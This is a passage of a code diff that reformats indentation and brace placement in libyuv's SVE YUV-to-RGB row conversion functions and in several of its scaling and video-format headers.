predicate to avoid predicate - // generation overhead. - "ptrue p1.h \n" - "ptrue p2.h \n" - "1: \n" // - READP210_SVE NVTORGB_SVE - "subs %w[width], %w[width], %w[vl] \n" // - STOREAR30_SVE - "b.ge 1b \n" + // Run bulk of computation with an all-true predicate to avoid predicate + // generation overhead. + "ptrue p1.h \n" + "ptrue p2.h \n" + "1: \n" // + READP210_SVE NVTORGB_SVE + "subs %w[width], %w[width], %w[vl] \n" // + STOREAR30_SVE + "b.ge 1b \n" - "2: \n" - "adds %w[width], %w[width], %w[vl] \n" - "b.eq 99f \n" + "2: \n" + "adds %w[width], %w[width], %w[vl] \n" + "b.eq 99f \n" - // Calculate a predicate for the final iteration to deal with the tail. - "whilelt p1.h, wzr, %w[width_last_y] \n" - "whilelt p2.h, wzr, %w[width_last_uv] \n" // - READP210_SVE NVTORGB_SVE STOREAR30_SVE + // Calculate a predicate for the final iteration to deal with the tail. + "whilelt p1.h, wzr, %w[width_last_y] \n" + "whilelt p2.h, wzr, %w[width_last_uv] \n" // + READP210_SVE NVTORGB_SVE STOREAR30_SVE - "99: \n" - : [src_y] "+r"(src_y), // %[src_y] + "99: \n" + : [src_y] "+r"(src_y), // %[src_y] [src_uv] "+r"(src_uv), // %[src_uv] [dst_ar30] "+r"(dst_ar30), // %[dst_ar30] [width] "+r"(width) // %[width] - : [vl] "r"(vl), // %[vl] + : [vl] "r"(vl), // %[vl] [kUVCoeff] "r"(&yuvconstants->kUVCoeff), // %[kUVCoeff] [kRGBCoeffBias] "r"(&yuvconstants->kRGBCoeffBias), // %[kRGBCoeffBias] [nv_uv_start] "r"(nv_uv_start), // %[nv_uv_start] @@ -1370,7 +1371,7 @@ static inline void P210ToAR30Row_SVE_SC(const uint16_t* src_y, [width_last_y] "r"(width_last_y), // %[width_last_y] [width_last_uv] "r"(width_last_uv), // %[width_last_uv] [limit] "r"(limit) // %[limit] - : "cc", "memory", YUVTORGB_SVE_REGS); + : "cc", "memory", YUVTORGB_SVE_REGS); } static inline void I410ToARGBRow_SVE_SC(const uint16_t* src_y, @@ -1379,46 +1380,46 @@ static inline void I410ToARGBRow_SVE_SC(const uint16_t* src_y, uint8_t* dst_argb, const struct YuvConstants* yuvconstants, int width) STREAMING_COMPATIBLE { - uint64_t vl; - asm("cnth %0" : "=r"(vl)); - int width_last_y = width & (vl - 1); - asm volatile( - "ptrue p0.b \n" // - YUVTORGB_SVE_SETUP - "dup z19.b, #255 \n" // Alpha - "subs %w[width], %w[width], %w[vl] \n" - "b.lt 2f \n" + uint64_t vl; + asm("cnth %0" : "=r"(vl)); + int width_last_y = width & (vl - 1); + asm volatile( + "ptrue p0.b \n" // + YUVTORGB_SVE_SETUP + "dup z19.b, #255 \n" // Alpha + "subs %w[width], %w[width], %w[vl] \n" + "b.lt 2f \n" - // Run bulk of computation with an all-true predicate to avoid predicate - // generation overhead. - "ptrue p1.h \n" - "1: \n" // - READI410_SVE I4XXTORGB_SVE RGBTOARGB8_SVE - "subs %w[width], %w[width], %w[vl] \n" - "st2h {z16.h, z17.h}, p1, [%[dst_argb]] \n" - "add %[dst_argb], %[dst_argb], %[vl], lsl #2 \n" - "b.ge 1b \n" + // Run bulk of computation with an all-true predicate to avoid predicate + // generation overhead. + "ptrue p1.h \n" + "1: \n" // + READI410_SVE I4XXTORGB_SVE RGBTOARGB8_SVE + "subs %w[width], %w[width], %w[vl] \n" + "st2h {z16.h, z17.h}, p1, [%[dst_argb]] \n" + "add %[dst_argb], %[dst_argb], %[vl], lsl #2 \n" + "b.ge 1b \n" - "2: \n" - "adds %w[width], %w[width], %w[vl] \n" - "b.eq 99f \n" + "2: \n" + "adds %w[width], %w[width], %w[vl] \n" + "b.eq 99f \n" - // Calculate a predicate for the final iteration to deal with the tail. - "whilelt p1.h, wzr, %w[width_last_y] \n" // - READI410_SVE I4XXTORGB_SVE RGBTOARGB8_SVE - "st2h {z16.h, z17.h}, p1, [%[dst_argb]] \n" + // Calculate a predicate for the final iteration to deal with the tail. + "whilelt p1.h, wzr, %w[width_last_y] \n" // + READI410_SVE I4XXTORGB_SVE RGBTOARGB8_SVE + "st2h {z16.h, z17.h}, p1, [%[dst_argb]] \n" - "99: \n" - : [src_y] "+r"(src_y), // %[src_y] + "99: \n" + : [src_y] "+r"(src_y), // %[src_y] [src_u] "+r"(src_u), // %[src_u] [src_v] "+r"(src_v), // %[src_v] [dst_argb] "+r"(dst_argb), // %[dst_argb] [width] "+r"(width) // %[width] - : [vl] "r"(vl), // %[vl] + : [vl] "r"(vl), // %[vl] [kUVCoeff] "r"(&yuvconstants->kUVCoeff), // %[kUVCoeff] [kRGBCoeffBias] "r"(&yuvconstants->kRGBCoeffBias), // %[kRGBCoeffBias] [width_last_y] "r"(width_last_y) // %[width_last_y] - : "cc", "memory", YUVTORGB_SVE_REGS); + : "cc", "memory", YUVTORGB_SVE_REGS); } static inline void I410AlphaToARGBRow_SVE_SC( @@ -1429,53 +1430,53 @@ static inline void I410AlphaToARGBRow_SVE_SC( uint8_t* dst_argb, const struct YuvConstants* yuvconstants, int width) STREAMING_COMPATIBLE { - uint64_t vl; - asm("cnth %0" : "=r"(vl)); - int width_last_y = width & (vl - 1); - asm volatile( - "ptrue p0.b \n" // - YUVTORGB_SVE_SETUP - "cmp %w[width], %w[vl] \n" - "subs %w[width], %w[width], %w[vl] \n" - "b.lt 2f \n" + uint64_t vl; + asm("cnth %0" : "=r"(vl)); + int width_last_y = width & (vl - 1); + asm volatile( + "ptrue p0.b \n" // + YUVTORGB_SVE_SETUP + "cmp %w[width], %w[vl] \n" + "subs %w[width], %w[width], %w[vl] \n" + "b.lt 2f \n" - // Run bulk of computation with an all-true predicate to avoid predicate - // generation overhead. - "ptrue p1.h \n" - "1: \n" // - READI410_SVE - "ld1h {z19.h}, p1/z, [%[src_a]] \n" // - I4XXTORGB_SVE - "incb %[src_a] \n" // - RGBATOARGB8_SVE - "subs %w[width], %w[width], %w[vl] \n" - "st2h {z16.h, z17.h}, p1, [%[dst_argb]] \n" - "add %[dst_argb], %[dst_argb], %[vl], lsl #2 \n" - "b.ge 1b \n" + // Run bulk of computation with an all-true predicate to avoid predicate + // generation overhead. + "ptrue p1.h \n" + "1: \n" // + READI410_SVE + "ld1h {z19.h}, p1/z, [%[src_a]] \n" // + I4XXTORGB_SVE + "incb %[src_a] \n" // + RGBATOARGB8_SVE + "subs %w[width], %w[width], %w[vl] \n" + "st2h {z16.h, z17.h}, p1, [%[dst_argb]] \n" + "add %[dst_argb], %[dst_argb], %[vl], lsl #2 \n" + "b.ge 1b \n" - "2: \n" - "adds %w[width], %w[width], %w[vl] \n" - "b.eq 99f \n" + "2: \n" + "adds %w[width], %w[width], %w[vl] \n" + "b.eq 99f \n" - // Calculate a predicate for the final iteration to deal with the tail. - "whilelt p1.h, wzr, %w[width_last_y] \n" // - READI410_SVE - "ld1h {z19.h}, p1/z, [%[src_a]] \n" // - I4XXTORGB_SVE RGBATOARGB8_SVE - "st2h {z16.h, z17.h}, p1, [%[dst_argb]] \n" + // Calculate a predicate for the final iteration to deal with the tail. + "whilelt p1.h, wzr, %w[width_last_y] \n" // + READI410_SVE + "ld1h {z19.h}, p1/z, [%[src_a]] \n" // + I4XXTORGB_SVE RGBATOARGB8_SVE + "st2h {z16.h, z17.h}, p1, [%[dst_argb]] \n" - "99: \n" - : [src_y] "+r"(src_y), // %[src_y] + "99: \n" + : [src_y] "+r"(src_y), // %[src_y] [src_u] "+r"(src_u), // %[src_u] [src_v] "+r"(src_v), // %[src_v] [src_a] "+r"(src_a), // %[src_a] [dst_argb] "+r"(dst_argb), // %[dst_argb] [width] "+r"(width) // %[width] - : [vl] "r"(vl), // %[vl] + : [vl] "r"(vl), // %[vl] [kUVCoeff] "r"(&yuvconstants->kUVCoeff), // %[kUVCoeff] [kRGBCoeffBias] "r"(&yuvconstants->kRGBCoeffBias), // %[kRGBCoeffBias] [width_last_y] "r"(width_last_y) // %[width_last_y] - : "cc", "memory", YUVTORGB_SVE_REGS); + : "cc", "memory", YUVTORGB_SVE_REGS); } static inline void I410ToAR30Row_SVE_SC(const uint16_t* src_y, @@ -1484,46 +1485,46 @@ static inline void I410ToAR30Row_SVE_SC(const uint16_t* src_y, uint8_t* dst_ar30, const struct YuvConstants* yuvconstants, int width) STREAMING_COMPATIBLE { - uint64_t vl; - asm("cnth %0" : "=r"(vl)); - int width_last_y = width & (vl - 1); - // The limit is used for saturating the 2.14 red channel in STOREAR30_SVE. - uint16_t limit = 0x3ff0; - asm volatile( - "ptrue p0.b \n" // - YUVTORGB_SVE_SETUP - "dup z23.h, %w[limit] \n" - "subs %w[width], %w[width], %w[vl] \n" - "b.lt 2f \n" + uint64_t vl; + asm("cnth %0" : "=r"(vl)); + int width_last_y = width & (vl - 1); + // The limit is used for saturating the 2.14 red channel in STOREAR30_SVE. + uint16_t limit = 0x3ff0; + asm volatile( + "ptrue p0.b \n" // + YUVTORGB_SVE_SETUP + "dup z23.h, %w[limit] \n" + "subs %w[width], %w[width], %w[vl] \n" + "b.lt 2f \n" - // Run bulk of computation with an all-true predicate to avoid predicate - // generation overhead. - "ptrue p1.h \n" - "1: \n" // - READI410_SVE I4XXTORGB_SVE STOREAR30_SVE - "subs %w[width], %w[width], %w[vl] \n" - "b.ge 1b \n" + // Run bulk of computation with an all-true predicate to avoid predicate + // generation overhead. + "ptrue p1.h \n" + "1: \n" // + READI410_SVE I4XXTORGB_SVE STOREAR30_SVE + "subs %w[width], %w[width], %w[vl] \n" + "b.ge 1b \n" - "2: \n" - "adds %w[width], %w[width], %w[vl] \n" - "b.eq 99f \n" + "2: \n" + "adds %w[width], %w[width], %w[vl] \n" + "b.eq 99f \n" - // Calculate a predicate for the final iteration to deal with the tail. - "whilelt p1.h, wzr, %w[width_last_y] \n" // - READI410_SVE I4XXTORGB_SVE STOREAR30_SVE + // Calculate a predicate for the final iteration to deal with the tail. + "whilelt p1.h, wzr, %w[width_last_y] \n" // + READI410_SVE I4XXTORGB_SVE STOREAR30_SVE - "99: \n" - : [src_y] "+r"(src_y), // %[src_y] + "99: \n" + : [src_y] "+r"(src_y), // %[src_y] [src_u] "+r"(src_u), // %[src_u] [src_v] "+r"(src_v), // %[src_v] [dst_ar30] "+r"(dst_ar30), // %[dst_argb] [width] "+r"(width) // %[width] - : [vl] "r"(vl), // %[vl] + : [vl] "r"(vl), // %[vl] [kUVCoeff] "r"(&yuvconstants->kUVCoeff), // %[kUVCoeff] [kRGBCoeffBias] "r"(&yuvconstants->kRGBCoeffBias), // %[kRGBCoeffBias] [width_last_y] "r"(width_last_y), // %[width_last_y] [limit] "r"(limit) // %[limit] - : "cc", "memory", YUVTORGB_SVE_REGS); + : "cc", "memory", YUVTORGB_SVE_REGS); } static inline void P410ToARGBRow_SVE_SC(const uint16_t* src_y, @@ -1531,50 +1532,50 @@ static inline void P410ToARGBRow_SVE_SC(const uint16_t* src_y, uint8_t* dst_argb, const struct YuvConstants* yuvconstants, int width) STREAMING_COMPATIBLE { - uint64_t vl; - asm("cnth %0" : "=r"(vl)); - int width_last_y = width & (vl - 1); - asm volatile( - "ptrue p0.b \n" // - YUVTORGB_SVE_SETUP - "dup z19.b, #255 \n" // Alpha - "subs %w[width], %w[width], %w[vl] \n" - "b.lt 2f \n" + uint64_t vl; + asm("cnth %0" : "=r"(vl)); + int width_last_y = width & (vl - 1); + asm volatile( + "ptrue p0.b \n" // + YUVTORGB_SVE_SETUP + "dup z19.b, #255 \n" // Alpha + "subs %w[width], %w[width], %w[vl] \n" + "b.lt 2f \n" - // Run bulk of computation with an all-true predicate to avoid predicate - // generation overhead. - "ptrue p1.h \n" - "ptrue p2.s \n" - "ptrue p3.s \n" - "1: \n" // - READP410_SVE NVTORGB_SVE RGBTOARGB8_SVE - "subs %w[width], %w[width], %w[vl] \n" - "st2h {z16.h, z17.h}, p1, [%[dst_argb]] \n" - "add %[dst_argb], %[dst_argb], %[vl], lsl #2 \n" - "b.ge 1b \n" + // Run bulk of computation with an all-true predicate to avoid predicate + // generation overhead. + "ptrue p1.h \n" + "ptrue p2.s \n" + "ptrue p3.s \n" + "1: \n" // + READP410_SVE NVTORGB_SVE RGBTOARGB8_SVE + "subs %w[width], %w[width], %w[vl] \n" + "st2h {z16.h, z17.h}, p1, [%[dst_argb]] \n" + "add %[dst_argb], %[dst_argb], %[vl], lsl #2 \n" + "b.ge 1b \n" - "2: \n" - "adds %w[width], %w[width], %w[vl] \n" - "b.eq 99f \n" + "2: \n" + "adds %w[width], %w[width], %w[vl] \n" + "b.eq 99f \n" - // Calculate a predicate for the final iteration to deal with the tail. - "whilelt p1.h, wzr, %w[width_last_y] \n" - "whilelt p2.s, wzr, %w[width_last_y] \n" - "cntw %x[vl] \n" - "whilelt p3.s, %w[vl], %w[width_last_y] \n" // - READP410_SVE NVTORGB_SVE RGBTOARGB8_SVE - "st2h {z16.h, z17.h}, p1, [%[dst_argb]] \n" + // Calculate a predicate for the final iteration to deal with the tail. + "whilelt p1.h, wzr, %w[width_last_y] \n" + "whilelt p2.s, wzr, %w[width_last_y] \n" + "cntw %x[vl] \n" + "whilelt p3.s, %w[vl], %w[width_last_y] \n" // + READP410_SVE NVTORGB_SVE RGBTOARGB8_SVE + "st2h {z16.h, z17.h}, p1, [%[dst_argb]] \n" - "99: \n" - : [src_y] "+r"(src_y), // %[src_y] + "99: \n" + : [src_y] "+r"(src_y), // %[src_y] [src_uv] "+r"(src_uv), // %[src_uv] [dst_argb] "+r"(dst_argb), // %[dst_argb] [width] "+r"(width) // %[width] - : [vl] "r"(vl), // %[vl] + : [vl] "r"(vl), // %[vl] [kUVCoeff] "r"(&yuvconstants->kUVCoeff), // %[kUVCoeff] [kRGBCoeffBias] "r"(&yuvconstants->kRGBCoeffBias), // %[kRGBCoeffBias] [width_last_y] "r"(width_last_y) // %[width_last_y] - : "cc", "memory", YUVTORGB_SVE_REGS); + : "cc", "memory", YUVTORGB_SVE_REGS); } static inline void P410ToAR30Row_SVE_SC(const uint16_t* src_y, @@ -1582,51 +1583,51 @@ static inline void P410ToAR30Row_SVE_SC(const uint16_t* src_y, uint8_t* dst_ar30, const struct YuvConstants* yuvconstants, int width) STREAMING_COMPATIBLE { - uint64_t vl; - asm("cnth %0" : "=r"(vl)); - int width_last_y = width & (vl - 1); - // The limit is used for saturating the 2.14 red channel in STOREAR30_SVE. - uint16_t limit = 0x3ff0; - asm volatile( - "ptrue p0.b \n" // - YUVTORGB_SVE_SETUP - "dup z23.h, %w[limit] \n" - "subs %w[width], %w[width], %w[vl] \n" - "b.lt 2f \n" + uint64_t vl; + asm("cnth %0" : "=r"(vl)); + int width_last_y = width & (vl - 1); + // The limit is used for saturating the 2.14 red channel in STOREAR30_SVE. + uint16_t limit = 0x3ff0; + asm volatile( + "ptrue p0.b \n" // + YUVTORGB_SVE_SETUP + "dup z23.h, %w[limit] \n" + "subs %w[width], %w[width], %w[vl] \n" + "b.lt 2f \n" - // Run bulk of computation with an all-true predicate to avoid predicate - // generation overhead. - "ptrue p1.h \n" - "ptrue p2.s \n" - "ptrue p3.s \n" - "1: \n" // - READP410_SVE NVTORGB_SVE - "subs %w[width], %w[width], %w[vl] \n" // - STOREAR30_SVE - "b.ge 1b \n" + // Run bulk of computation with an all-true predicate to avoid predicate + // generation overhead. + "ptrue p1.h \n" + "ptrue p2.s \n" + "ptrue p3.s \n" + "1: \n" // + READP410_SVE NVTORGB_SVE + "subs %w[width], %w[width], %w[vl] \n" // + STOREAR30_SVE + "b.ge 1b \n" - "2: \n" - "adds %w[width], %w[width], %w[vl] \n" - "b.eq 99f \n" + "2: \n" + "adds %w[width], %w[width], %w[vl] \n" + "b.eq 99f \n" - // Calculate a predicate for the final iteration to deal with the tail. - "whilelt p1.h, wzr, %w[width_last_y] \n" - "whilelt p2.s, wzr, %w[width_last_y] \n" - "cntw %x[vl] \n" - "whilelt p3.s, %w[vl], %w[width_last_y] \n" // - READP410_SVE NVTORGB_SVE STOREAR30_SVE + // Calculate a predicate for the final iteration to deal with the tail. + "whilelt p1.h, wzr, %w[width_last_y] \n" + "whilelt p2.s, wzr, %w[width_last_y] \n" + "cntw %x[vl] \n" + "whilelt p3.s, %w[vl], %w[width_last_y] \n" // + READP410_SVE NVTORGB_SVE STOREAR30_SVE - "99: \n" - : [src_y] "+r"(src_y), // %[src_y] + "99: \n" + : [src_y] "+r"(src_y), // %[src_y] [src_uv] "+r"(src_uv), // %[src_uv] [dst_ar30] "+r"(dst_ar30), // %[dst_ar30] [width] "+r"(width) // %[width] - : [vl] "r"(vl), // %[vl] + : [vl] "r"(vl), // %[vl] [kUVCoeff] "r"(&yuvconstants->kUVCoeff), // %[kUVCoeff] [kRGBCoeffBias] "r"(&yuvconstants->kRGBCoeffBias), // %[kRGBCoeffBias] [width_last_y] "r"(width_last_y), // %[width_last_y] [limit] "r"(limit) // %[limit] - : "cc", "memory", YUVTORGB_SVE_REGS); + : "cc", "memory", YUVTORGB_SVE_REGS); } static inline void I212ToAR30Row_SVE_SC(const uint16_t* src_y, @@ -1635,46 +1636,46 @@ static inline void I212ToAR30Row_SVE_SC(const uint16_t* src_y, uint8_t* dst_ar30, const struct YuvConstants* yuvconstants, int width) STREAMING_COMPATIBLE { - uint64_t vl; - asm("cnth %0" : "=r"(vl)); - int width_last_y = width & (vl - 1); - // The limit is used for saturating the 2.14 red channel in STOREAR30_SVE. - uint16_t limit = 0x3ff0; - asm volatile( - "ptrue p0.b \n" // - YUVTORGB_SVE_SETUP - "dup z23.h, %w[limit] \n" - "subs %w[width], %w[width], %w[vl] \n" - "b.lt 2f \n" + uint64_t vl; + asm("cnth %0" : "=r"(vl)); + int width_last_y = width & (vl - 1); + // The limit is used for saturating the 2.14 red channel in STOREAR30_SVE. + uint16_t limit = 0x3ff0; + asm volatile( + "ptrue p0.b \n" // + YUVTORGB_SVE_SETUP + "dup z23.h, %w[limit] \n" + "subs %w[width], %w[width], %w[vl] \n" + "b.lt 2f \n" - // Run bulk of computation with an all-true predicate to avoid predicate - // generation overhead. - "ptrue p1.h \n" - "1: \n" // - READI212_SVE I4XXTORGB_SVE STOREAR30_SVE - "subs %w[width], %w[width], %w[vl] \n" - "b.ge 1b \n" + // Run bulk of computation with an all-true predicate to avoid predicate + // generation overhead. + "ptrue p1.h \n" + "1: \n" // + READI212_SVE I4XXTORGB_SVE STOREAR30_SVE + "subs %w[width], %w[width], %w[vl] \n" + "b.ge 1b \n" - "2: \n" - "adds %w[width], %w[width], %w[vl] \n" - "b.eq 99f \n" + "2: \n" + "adds %w[width], %w[width], %w[vl] \n" + "b.eq 99f \n" - // Calculate a predicate for the final iteration to deal with the tail. - "whilelt p1.h, wzr, %w[width_last_y] \n" // - READI212_SVE I4XXTORGB_SVE STOREAR30_SVE + // Calculate a predicate for the final iteration to deal with the tail. + "whilelt p1.h, wzr, %w[width_last_y] \n" // + READI212_SVE I4XXTORGB_SVE STOREAR30_SVE - "99: \n" - : [src_y] "+r"(src_y), // %[src_y] + "99: \n" + : [src_y] "+r"(src_y), // %[src_y] [src_u] "+r"(src_u), // %[src_u] [src_v] "+r"(src_v), // %[src_v] [dst_ar30] "+r"(dst_ar30), // %[dst_ar30] [width] "+r"(width) // %[width] - : [vl] "r"(vl), // %[vl] + : [vl] "r"(vl), // %[vl] [kUVCoeff] "r"(&yuvconstants->kUVCoeff), // %[kUVCoeff] [kRGBCoeffBias] "r"(&yuvconstants->kRGBCoeffBias), // %[kRGBCoeffBias] [width_last_y] "r"(width_last_y), // %[width_last_y] [limit] "r"(limit) // %[limit] - : "cc", "memory", YUVTORGB_SVE_REGS); + : "cc", "memory", YUVTORGB_SVE_REGS); } static inline void I212ToARGBRow_SVE_SC(const uint16_t* src_y, @@ -1683,46 +1684,46 @@ static inline void I212ToARGBRow_SVE_SC(const uint16_t* src_y, uint8_t* dst_argb, const struct YuvConstants* yuvconstants, int width) STREAMING_COMPATIBLE { - uint64_t vl; - asm("cnth %0" : "=r"(vl)); - int width_last_y = width & (vl - 1); - asm volatile( - "ptrue p0.b \n" // - YUVTORGB_SVE_SETUP - "dup z19.b, #255 \n" // Alpha - "subs %w[width], %w[width], %w[vl] \n" - "b.lt 2f \n" + uint64_t vl; + asm("cnth %0" : "=r"(vl)); + int width_last_y = width & (vl - 1); + asm volatile( + "ptrue p0.b \n" // + YUVTORGB_SVE_SETUP + "dup z19.b, #255 \n" // Alpha + "subs %w[width], %w[width], %w[vl] \n" + "b.lt 2f \n" - // Run bulk of computation with an all-true predicate to avoid predicate - // generation overhead. - "ptrue p1.h \n" - "1: \n" // - READI212_SVE I4XXTORGB_SVE RGBTOARGB8_SVE - "subs %w[width], %w[width], %w[vl] \n" - "st2h {z16.h, z17.h}, p1, [%[dst_argb]] \n" - "add %[dst_argb], %[dst_argb], %[vl], lsl #2 \n" - "b.ge 1b \n" + // Run bulk of computation with an all-true predicate to avoid predicate + // generation overhead. + "ptrue p1.h \n" + "1: \n" // + READI212_SVE I4XXTORGB_SVE RGBTOARGB8_SVE + "subs %w[width], %w[width], %w[vl] \n" + "st2h {z16.h, z17.h}, p1, [%[dst_argb]] \n" + "add %[dst_argb], %[dst_argb], %[vl], lsl #2 \n" + "b.ge 1b \n" - "2: \n" - "adds %w[width], %w[width], %w[vl] \n" - "b.eq 99f \n" + "2: \n" + "adds %w[width], %w[width], %w[vl] \n" + "b.eq 99f \n" - // Calculate a predicate for the final iteration to deal with the tail. - "whilelt p1.h, wzr, %w[width_last_y] \n" // - READI212_SVE I4XXTORGB_SVE RGBTOARGB8_SVE - "st2h {z16.h, z17.h}, p1, [%[dst_argb]] \n" + // Calculate a predicate for the final iteration to deal with the tail. + "whilelt p1.h, wzr, %w[width_last_y] \n" // + READI212_SVE I4XXTORGB_SVE RGBTOARGB8_SVE + "st2h {z16.h, z17.h}, p1, [%[dst_argb]] \n" - "99: \n" - : [src_y] "+r"(src_y), // %[src_y] + "99: \n" + : [src_y] "+r"(src_y), // %[src_y] [src_u] "+r"(src_u), // %[src_u] [src_v] "+r"(src_v), // %[src_v] [dst_argb] "+r"(dst_argb), // %[dst_argb] [width] "+r"(width) // %[width] - : [vl] "r"(vl), // %[vl] + : [vl] "r"(vl), // %[vl] [kUVCoeff] "r"(&yuvconstants->kUVCoeff), // %[kUVCoeff] [kRGBCoeffBias] "r"(&yuvconstants->kRGBCoeffBias), // %[kRGBCoeffBias] [width_last_y] "r"(width_last_y) // %[width_last_y] - : "cc", "memory", YUVTORGB_SVE_REGS); + : "cc", "memory", YUVTORGB_SVE_REGS); } #endif // !defined(LIBYUV_DISABLE_SVE) && defined(__aarch64__) diff --git a/compress/libyuv/libyuv/scale.h b/compress/libyuv/libyuv/scale.h index 1a8cb3d..8e95407 100644 --- a/compress/libyuv/libyuv/scale.h +++ b/compress/libyuv/libyuv/scale.h @@ -14,16 +14,17 @@ #include "libyuv/basic_types.h" #ifdef __cplusplus -namespace libyuv { +namespace libyuv +{ extern "C" { #endif // Supported filtering. typedef enum FilterMode { - kFilterNone = 0, // Point sample; Fastest. - kFilterLinear = 1, // Filter horizontally only. - kFilterBilinear = 2, // Faster than box, but lower quality scaling down. - kFilterBox = 3 // Highest quality. + kFilterNone = 0, // Point sample; Fastest. + kFilterLinear = 1, // Filter horizontally only. + kFilterBilinear = 2, // Faster than box, but lower quality scaling down. + kFilterBox = 3 // Highest quality. } FilterModeEnum; // Scale a YUV plane. diff --git a/compress/libyuv/libyuv/scale_argb.h b/compress/libyuv/libyuv/scale_argb.h index 7641f18..ea172cb 100644 --- a/compress/libyuv/libyuv/scale_argb.h +++ b/compress/libyuv/libyuv/scale_argb.h @@ -15,7 +15,8 @@ #include "libyuv/scale.h" // For FilterMode #ifdef __cplusplus -namespace libyuv { +namespace libyuv +{ extern "C" { #endif diff --git a/compress/libyuv/libyuv/scale_rgb.h b/compress/libyuv/libyuv/scale_rgb.h index d17c39f..b91f41f 100644 --- a/compress/libyuv/libyuv/scale_rgb.h +++ b/compress/libyuv/libyuv/scale_rgb.h @@ -15,7 +15,8 @@ #include "libyuv/scale.h" // For FilterMode #ifdef __cplusplus -namespace libyuv { +namespace libyuv +{ extern "C" { #endif diff --git a/compress/libyuv/libyuv/scale_row.h b/compress/libyuv/libyuv/scale_row.h index f5294f0..bb8e87b 100644 --- a/compress/libyuv/libyuv/scale_row.h +++ b/compress/libyuv/libyuv/scale_row.h @@ -16,7 +16,8 @@ #include "libyuv/scale.h" #ifdef __cplusplus -namespace libyuv { +namespace libyuv +{ extern "C" { #endif @@ -1403,10 +1404,10 @@ void ScaleUVRowUp2_Linear_16_Any_SSE41(const uint16_t* src_ptr, uint16_t* dst_ptr, int dst_width); void ScaleUVRowUp2_Bilinear_16_Any_SSE41(const uint16_t* src_ptr, - ptrdiff_t src_stride, - uint16_t* dst_ptr, - ptrdiff_t dst_stride, - int dst_width); + ptrdiff_t src_stride, + uint16_t* dst_ptr, + ptrdiff_t dst_stride, + int dst_width); void ScaleUVRowUp2_Linear_16_AVX2(const uint16_t* src_ptr, uint16_t* dst_ptr, int dst_width); diff --git a/compress/libyuv/libyuv/scale_uv.h b/compress/libyuv/libyuv/scale_uv.h index 8e74e31..bbf2c78 100644 --- a/compress/libyuv/libyuv/scale_uv.h +++ b/compress/libyuv/libyuv/scale_uv.h @@ -15,7 +15,8 @@ #include "libyuv/scale.h" // For FilterMode #ifdef __cplusplus -namespace libyuv { +namespace libyuv +{ extern "C" { #endif diff --git a/compress/libyuv/libyuv/video_common.h b/compress/libyuv/libyuv/video_common.h index 32b8a52..d15951b 100644 --- a/compress/libyuv/libyuv/video_common.h +++ b/compress/libyuv/libyuv/video_common.h @@ -16,7 +16,8 @@ #include "libyuv/basic_types.h" #ifdef __cplusplus -namespace libyuv { +namespace libyuv +{ extern "C" { #endif @@ -50,165 +51,165 @@ extern "C" { // Secondary formats are converted in 2 steps. // Auxilliary formats call primary converters. enum FourCC { - // 10 Primary YUV formats: 5 planar, 2 biplanar, 2 packed. - FOURCC_I420 = FOURCC('I', '4', '2', '0'), - FOURCC_I422 = FOURCC('I', '4', '2', '2'), - FOURCC_I444 = FOURCC('I', '4', '4', '4'), - FOURCC_I400 = FOURCC('I', '4', '0', '0'), - FOURCC_NV21 = FOURCC('N', 'V', '2', '1'), - FOURCC_NV12 = FOURCC('N', 'V', '1', '2'), - FOURCC_YUY2 = FOURCC('Y', 'U', 'Y', '2'), - FOURCC_UYVY = FOURCC('U', 'Y', 'V', 'Y'), - FOURCC_I010 = FOURCC('I', '0', '1', '0'), // bt.601 10 bit 420 - FOURCC_I210 = FOURCC('I', '2', '1', '0'), // bt.601 10 bit 422 + // 10 Primary YUV formats: 5 planar, 2 biplanar, 2 packed. + FOURCC_I420 = FOURCC('I', '4', '2', '0'), + FOURCC_I422 = FOURCC('I', '4', '2', '2'), + FOURCC_I444 = FOURCC('I', '4', '4', '4'), + FOURCC_I400 = FOURCC('I', '4', '0', '0'), + FOURCC_NV21 = FOURCC('N', 'V', '2', '1'), + FOURCC_NV12 = FOURCC('N', 'V', '1', '2'), + FOURCC_YUY2 = FOURCC('Y', 'U', 'Y', '2'), + FOURCC_UYVY = FOURCC('U', 'Y', 'V', 'Y'), + FOURCC_I010 = FOURCC('I', '0', '1', '0'), // bt.601 10 bit 420 + FOURCC_I210 = FOURCC('I', '2', '1', '0'), // bt.601 10 bit 422 - // 1 Secondary YUV format: row biplanar. deprecated. - FOURCC_M420 = FOURCC('M', '4', '2', '0'), + // 1 Secondary YUV format: row biplanar. deprecated. + FOURCC_M420 = FOURCC('M', '4', '2', '0'), - // 13 Primary RGB formats: 4 32 bpp, 2 24 bpp, 3 16 bpp, 1 10 bpc 2 64 bpp - FOURCC_ARGB = FOURCC('A', 'R', 'G', 'B'), - FOURCC_BGRA = FOURCC('B', 'G', 'R', 'A'), - FOURCC_ABGR = FOURCC('A', 'B', 'G', 'R'), - FOURCC_AR30 = FOURCC('A', 'R', '3', '0'), // 10 bit per channel. 2101010. - FOURCC_AB30 = FOURCC('A', 'B', '3', '0'), // ABGR version of 10 bit - FOURCC_AR64 = FOURCC('A', 'R', '6', '4'), // 16 bit per channel. - FOURCC_AB64 = FOURCC('A', 'B', '6', '4'), // ABGR version of 16 bit - FOURCC_24BG = FOURCC('2', '4', 'B', 'G'), - FOURCC_RAW = FOURCC('r', 'a', 'w', ' '), - FOURCC_RGBA = FOURCC('R', 'G', 'B', 'A'), - FOURCC_RGBP = FOURCC('R', 'G', 'B', 'P'), // rgb565 LE. - FOURCC_RGBO = FOURCC('R', 'G', 'B', 'O'), // argb1555 LE. - FOURCC_R444 = FOURCC('R', '4', '4', '4'), // argb4444 LE. + // 13 Primary RGB formats: 4 32 bpp, 2 24 bpp, 3 16 bpp, 1 10 bpc 2 64 bpp + FOURCC_ARGB = FOURCC('A', 'R', 'G', 'B'), + FOURCC_BGRA = FOURCC('B', 'G', 'R', 'A'), + FOURCC_ABGR = FOURCC('A', 'B', 'G', 'R'), + FOURCC_AR30 = FOURCC('A', 'R', '3', '0'), // 10 bit per channel. 2101010. + FOURCC_AB30 = FOURCC('A', 'B', '3', '0'), // ABGR version of 10 bit + FOURCC_AR64 = FOURCC('A', 'R', '6', '4'), // 16 bit per channel. + FOURCC_AB64 = FOURCC('A', 'B', '6', '4'), // ABGR version of 16 bit + FOURCC_24BG = FOURCC('2', '4', 'B', 'G'), + FOURCC_RAW = FOURCC('r', 'a', 'w', ' '), + FOURCC_RGBA = FOURCC('R', 'G', 'B', 'A'), + FOURCC_RGBP = FOURCC('R', 'G', 'B', 'P'), // rgb565 LE. + FOURCC_RGBO = FOURCC('R', 'G', 'B', 'O'), // argb1555 LE. + FOURCC_R444 = 